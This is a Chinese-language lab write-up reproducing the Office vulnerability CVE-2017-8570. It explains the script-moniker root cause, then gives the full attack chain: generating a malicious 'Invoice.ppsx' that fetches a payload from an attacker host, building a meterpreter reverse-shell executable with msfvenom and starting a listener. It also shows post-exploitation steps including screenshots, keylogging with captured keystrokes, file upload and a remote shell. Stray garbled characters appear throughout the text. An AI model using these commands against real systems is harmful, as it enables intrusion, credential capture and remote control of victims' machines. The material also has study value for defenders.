詳細(xì)復(fù)現(xiàn)流程变擒,請(qǐng)直接看文章的滲透流程復(fù)現(xiàn)與EXP分析模塊
引言
課題背景
Office作為當(dāng)前市場(chǎng)占有率最高的辦公軟件畏线,卻常常被爆高危漏洞,其中編號(hào)為CVE-2017-8570的遠(yuǎn)程代碼執(zhí)行漏洞危害尤其之大。CVE-2017-8570是一個(gè)邏輯漏洞锌唾,和常規(guī)的內(nèi)存破壞型漏洞不同,這類(lèi)漏洞無(wú)需復(fù)雜的利用手法夺英,直接就可以在office文檔中運(yùn)行任意的惡意腳本晌涕。
CVE-2017-8570漏洞是利用復(fù)合Moniker繞過(guò)了CVE-2017-0199的補(bǔ)丁針對(duì)Script Moniker和URL Moniker相關(guān)classid的攔截,目前野外暫未發(fā)現(xiàn)攻擊樣本痛悯。
本課題的研究方法
① 理解“PPSX Script Moniker”漏洞——文件格式層面
② 了解漏洞成因
③ 學(xué)習(xí)解析Moniker字符串的知識(shí)
④ 學(xué)習(xí)Freemarker模板
⑤ 在Ubuntu系統(tǒng)環(huán)境下進(jìn)行復(fù)現(xiàn)
⑥ 使用BurpSuite余黎、Cknife工具對(duì)靶場(chǎng)進(jìn)行滲透復(fù)現(xiàn)
漏洞測(cè)試影響軟件
Microsoft Office 2007 Service Pack 3
Microsoft Office 2010 Service Pack 2 (32-bit editions)
Microsoft Office 2010 Service Pack 2 (64-bit editions)
Microsoft Office 2013 RT Service Pack 1
Microsoft Office 2013 Service Pack 1 (32-bit editions)
Microsoft Office 2013 Service Pack 1 (64-bit editions)
Microsoft Office 2016 (32-bit edition)
Microsoft Office 2016 (64-bit edition)
漏洞測(cè)試環(huán)境
受害者(靶機(jī))
操作系統(tǒng): windows 7 sp1 x86
Office****版本Office
專(zhuān)業(yè)增強(qiáng)版
2016
ip 192.168.89.129
攻擊者
操作系統(tǒng)Kali Linux
ip192.168.89.134
相關(guān)知識(shí)和工具簡(jiǎn)介
“PPSX Script Moniker”漏洞——文件格式層面
① rId1”是一個(gè)被我們的” 魔術(shù)字符串”定義的OLE對(duì)象
② “rId1”被定義為一個(gè)“l(fā)ink”對(duì)象并且與嘗試去執(zhí)行OLE“Verb”動(dòng)作的動(dòng)畫(huà)特性相關(guān)聯(lián)
③ 解析Moniker字符串
“MkParseDisplayName()”被調(diào)用以將“魔術(shù)字符串”轉(zhuǎn)換成一個(gè)Moniker對(duì)象
object
0:000> r
……
ole32!MkParseDisplayName:
772ece79 8bff mov edi,edi
0:000> du poi(esp+4*2)
0030ccc4 “script:http://server/test.sct”
事實(shí)上,在這里载萌,第一個(gè)“:”之前的字符串是重要的
這個(gè)過(guò)程有效小復(fù)雜惧财,更多細(xì)節(jié)請(qǐng)閱讀:
https://msdn.microsoft.com/en-us/library/windows/desktop/ms691253(v=vs.85).aspx
④ 什么是“script”Moniker
CLSID:06290BD3-48AA-11D2-8432-006008C3FBFC
? 這是給Windows腳本組件所用的moniker
? 如果你意識(shí)到了“腳本/小腳本”, “無(wú)需文件”的惡意代碼..(@subtree & 其他人的工作)
⑤ 激活Moniker
? 然而,初始化“script” moniker事實(shí)上并不會(huì)讓你“運(yùn)行”內(nèi)部的腳本
? 你仍然需要去“綁定”(“激活”)這個(gè)對(duì)象
一個(gè)簡(jiǎn)單的實(shí)驗(yàn)可以證明該點(diǎn)
? 用“script:http://server/test.sct”作為參數(shù)調(diào)用MkParseDisplayName()并不會(huì)讓你的代碼得到執(zhí)行(只有scrobj.dll這個(gè)moniker dll會(huì)被加載)
? 但是在初始化對(duì)象時(shí)調(diào)用BindToObject()會(huì)給你帶來(lái)一切
? 這樣一個(gè)“verb”動(dòng)作執(zhí)行嘗試通過(guò)PowerPoint放映的“動(dòng)畫(huà)”特性去激活相關(guān)聯(lián)的對(duì)象
? IMoniker::BindToObject()被調(diào)用
? 不像“RTF URL Moniker”漏洞扭仁,被利用的進(jìn)程起始于OLE API OleCreateLink()垮衷,而不是OleRun()
⑥ 對(duì)根本原因的總結(jié)
? 這個(gè)漏洞是由于monikers可以通過(guò)一個(gè)PowerPoint放映文件來(lái)初始化和激活這一事實(shí)
? 關(guān)鍵點(diǎn)在這里,在PowerPoint的動(dòng)畫(huà)特性中嘗試去執(zhí)行“verb”動(dòng)作時(shí)激活了對(duì)象乖坠,這最終調(diào)用了moniker上的“BindToObject()”
? Windows 腳本組件(“script” Moniker)被設(shè)計(jì)用來(lái)發(fā)現(xiàn)和運(yùn)行腳本
? 無(wú)需來(lái)自另外OLE對(duì)象的幫助
環(huán)境設(shè)計(jì)
Office 2016增強(qiáng)版
考慮到現(xiàn)在大多數(shù)設(shè)備使用Office 2016版本搀突,并且未打補(bǔ)丁,選用此版本更具代表性熊泵。
攻擊機(jī)Kali Linux
集成眾多滲透軟件描姚,便于使用
滲透流程復(fù)現(xiàn)與EXP分析
使用nmap確定滲透對(duì)象
nmap -sP 192.168.89.0/24
使用nmap嘗試遠(yuǎn)程識(shí)別靶機(jī)操作系統(tǒng)
nmap -O 192.168.89.129
生成惡意 PPSX 文件
python cve-2017-8570_toolkit.py -M gen -w Invoice.ppsx -u http://192.168.1.134/logo.doc
生成惡意的exe文件
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.134 LPORT=4444 -f exe > /tmp/shell.exe
生成監(jiān)聽(tīng)模式涩赢,監(jiān)聽(tīng)來(lái)自 ppsx 執(zhí)行反彈 shell:(這里會(huì)自動(dòng)啟動(dòng) 80 端口)
python cve-2017-8570_toolkit.py -M exp -e http://192.168.1.134/shell.exe -l /tmp/shell.exe
生成msf的監(jiān)聽(tīng)
msfconsole -x "use multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.1.134; run"
將生成的惡意 Invoice.ppsx 文件復(fù)制到目標(biāo)靶機(jī) win7 系統(tǒng),然后執(zhí)行:
即可在msf反彈metertprter的shell出來(lái):
漏洞修復(fù)
- 不要打開(kāi)任何來(lái)源不明的 Office ppt 文檔
2.及時(shí)更新并安裝微軟 2017 年 7 月發(fā)布的最新補(bǔ)缎薄: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CV E-2017-8570fs
后續(xù)滲透
截圖
meterpreter > screenshot
Screenshot saved to: /root/ccoDxgvg.jpeg
鍵盤(pán)記錄
meterpreter > keyscan_start # 開(kāi)啟鍵盤(pán)記錄
Starting the keystroke sniffer...
meterpreter > keyscan_dump #查看鍵盤(pán)記錄內(nèi)容
Dumping captured keystrokes...
**
-[ C:\soft\SogouExplorer\SogouExplorer.exe
-[ @ 2017年8月13日 4:07:31 UTC
**
<Shift>xiaojiejie <Shift>chain<^H><^H><^H>inajoy<CR>
meterpreter > keyscan_stop #關(guān)閉鍵盤(pán)記錄
上傳文件
meterpreter > upload /root/hacker.txt C:\\Users\\DELL\\Desktop
shell
meterpreter > shell
shell
顧名思義就是shell
了筒扒,這個(gè)命令相當(dāng)于完全控制了windows的cmd命令行,可以執(zhí)行任意cmd操作绊寻,當(dāng)然只要權(quán)限足夠大的話(huà)花墩。